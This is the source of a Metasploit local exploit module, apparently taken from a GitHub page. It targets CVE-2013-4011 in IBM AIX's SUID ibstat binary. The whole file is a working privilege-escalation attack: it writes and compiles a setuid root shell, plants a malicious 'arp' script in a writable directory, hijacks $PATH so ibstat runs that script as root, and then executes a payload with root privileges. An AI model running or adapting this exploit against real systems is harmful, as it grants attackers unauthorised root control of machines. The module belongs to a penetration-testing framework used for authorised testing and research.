/
ibstat_path.rb
183 lines (152 loc) · 4.9 KB
/
ibstat_path.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'ibstat $PATH Privilege Escalation',
'Description' => %q{
This module exploits the trusted $PATH environment variable of the SUID binary "ibstat".
},
'Author' => [
'Kristian Erik Hermansen', # original author
'Sagi Shahar <sagi.shahar[at]mwrinfosecurity.com>', # Metasploit module
'Kostas Lintovois <kostas.lintovois[at]mwrinfosecurity.com>' # Metasploit module
],
'References' => [
['CVE', '2013-4011'],
['OSVDB', '95420'],
['BID', '61287'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756']
],
'Platform' => %w[unix aix],
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'perl'
}
},
'SessionTypes' => %w[shell],
'Targets' => [
['IBM AIX Version 6.1', {}],
['IBM AIX Version 7.1', {}]
],
'DefaultTarget' => 1,
'DisclosureDate' => '2013-09-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('IBSTAT_PATH', [true, 'Path to ibstat executable', '/usr/bin/ibstat'])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end
def ibstat_path
datastore['IBSTAT_PATH']
end
def check
find_output = cmd_exec('find /usr/sbin/ -name ibstat -perm -u=s -user root 2>/dev/null')
return CheckCode::Safe("#{ibstat_path} is not set-uid root") unless find_output.to_s.include?('ibstat')
CheckCode::Appears("#{ibstat_path} is set-uid root")
end
def exploit
root_file = "#{datastore['WritableDir']}/#{rand_text_alpha(8)}"
arp_file = "#{datastore['WritableDir']}/arp"
c_file = %^#include <stdio.h>
int main()
{
setreuid(0,0);
setregid(0,0);
execve("/bin/sh",NULL,NULL);
return 0;
}
^
arp = %(#!/bin/sh
chown root #{root_file}
chmod 4555 #{root_file}
)
if gcc_installed?
print_status("Dropping file #{root_file}.c...")
write_file("#{root_file}.c", c_file)
print_status('Compiling source...')
cmd_exec("gcc -o #{root_file} #{root_file}.c")
print_status('Compilation completed')
register_file_for_cleanup("#{root_file}.c")
else
cmd_exec("cp /bin/sh #{root_file}")
end
register_file_for_cleanup(root_file)
print_status('Writing custom arp file...')
write_file(arp_file, arp)
register_file_for_cleanup(arp_file)
cmd_exec("chmod 0555 #{arp_file}")
print_status('Custom arp file written')
print_status('Updating $PATH environment variable...')
path_env = cmd_exec('echo $PATH')
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH")
cmd_exec('export PATH')
print_status('Finding interface name...')
iface = ''
cmd_exec('lsdev -Cc if').each_line do |line|
next unless line.match(/^[a-z]+[0-9]+\s+Available/) && !line.match(/^lo[0-9]/)
iface = line.split(/\s+/)[0]
print_status("Found interface #{iface}.")
break
end
if iface == ''
iface = 'en0'
print_status('Found no interface, defaulting to en0.')
end
print_status('Triggering vulnerablity...')
cmd_exec("#{ibstat_path} -a -i #{iface} 2>/dev/null >/dev/null")
# The $PATH variable must be restored before the payload is executed
# in cases where an euid root shell was gained
print_status('Restoring $PATH environment variable...')
cmd_exec("PATH=#{path_env}")
cmd_exec('export PATH')
cmd_exec(root_file)
print_status('Checking root privileges...')
if is_root?
print_status('Executing payload...')
cmd_exec(payload.encoded)
end
end
def gcc_installed?
print_status('Checking if gcc exists...')
gcc_whereis_output = cmd_exec('whereis -b gcc')
if gcc_whereis_output.to_s.include?('/')
print_good('gcc found!')
return true
end
print_status('gcc not found. Using /bin/sh from local system')
false
end
def is_root?
id_output = cmd_exec('id')
if id_output.include?('euid=0(root)')
print_good('Got root! (euid)')
return true
end
if id_output.include?('uid=0(root)')
print_good('Got root!')
return true
end
print_error('Exploit failed')
false
end
end